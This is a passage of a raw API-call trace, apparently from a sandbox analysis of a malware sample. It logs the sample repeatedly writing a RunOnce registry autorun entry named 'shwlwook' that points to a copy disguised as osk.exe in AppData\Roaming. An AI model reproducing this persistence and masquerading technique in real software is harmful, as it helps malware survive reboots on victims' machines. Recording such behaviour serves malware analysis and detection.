ppvObject=0x95ee28*=0x0) returned 0x80004002 [0256.024] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0256.025] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0256.025] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f630 | out: ppvObject=0x624f630*=0x0) returned 0x80004002 [0256.025] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0xf [0256.025] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0xe [0256.025] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0256.025] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0xe [0256.025] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x624f640) returned 0x0 [0256.026] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0xd [0256.026] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0256.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0256.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0256.026] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.026] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.026] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.027] RegCloseKey (hKey=0x14c) returned 0x0 [0256.027] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.027] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.040] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.040] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.040] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.040] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0256.040] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f690 | out: ppvObject=0x624f690*=0x0) returned 0x80004002 [0256.040] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0xf [0256.040] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0256.040] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x10 [0256.040] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x80e0de0) returned 0x0 [0256.041] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0xf [0256.041] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0256.041] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0256.041] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0256.041] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0256.041] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f6b0 | out: ppvObject=0x624f6b0*=0x0) returned 0x80004002 [0256.041] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x10 [0256.041] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0xf [0256.041] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0256.041] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0xf [0256.041] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x624f6c0) returned 0x0 [0256.042] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0xe [0256.042] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0256.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0256.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0256.043] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.043] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.043] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.043] RegCloseKey (hKey=0x14c) returned 0x0 [0256.043] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.044] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.054] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.054] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.055] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.055] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0256.055] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f710 | out: ppvObject=0x624f710*=0x0) returned 0x80004002 [0256.055] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x10 [0256.055] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0256.055] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x11 [0256.055] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x80e0d80) returned 0x0 [0256.055] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x10 [0256.055] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0256.056] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0256.056] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0256.056] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0256.056] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f730 | out: ppvObject=0x624f730*=0x0) returned 0x80004002 [0256.056] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x11 [0256.056] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x10 [0256.056] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0256.056] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x10 [0256.056] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x624f740) returned 0x0 [0256.057] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0xf [0256.057] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0256.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0256.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0256.057] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.057] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.058] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.058] RegCloseKey (hKey=0x14c) returned 0x0 [0256.058] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.058] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.073] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.075] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.076] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.076] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0256.076] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f790 | out: ppvObject=0x624f790*=0x0) returned 0x80004002 [0256.076] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x11 [0256.076] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0256.076] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x12 [0256.076] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x80e0d20) returned 0x0 [0256.076] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x11 [0256.076] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0256.076] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0256.077] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, 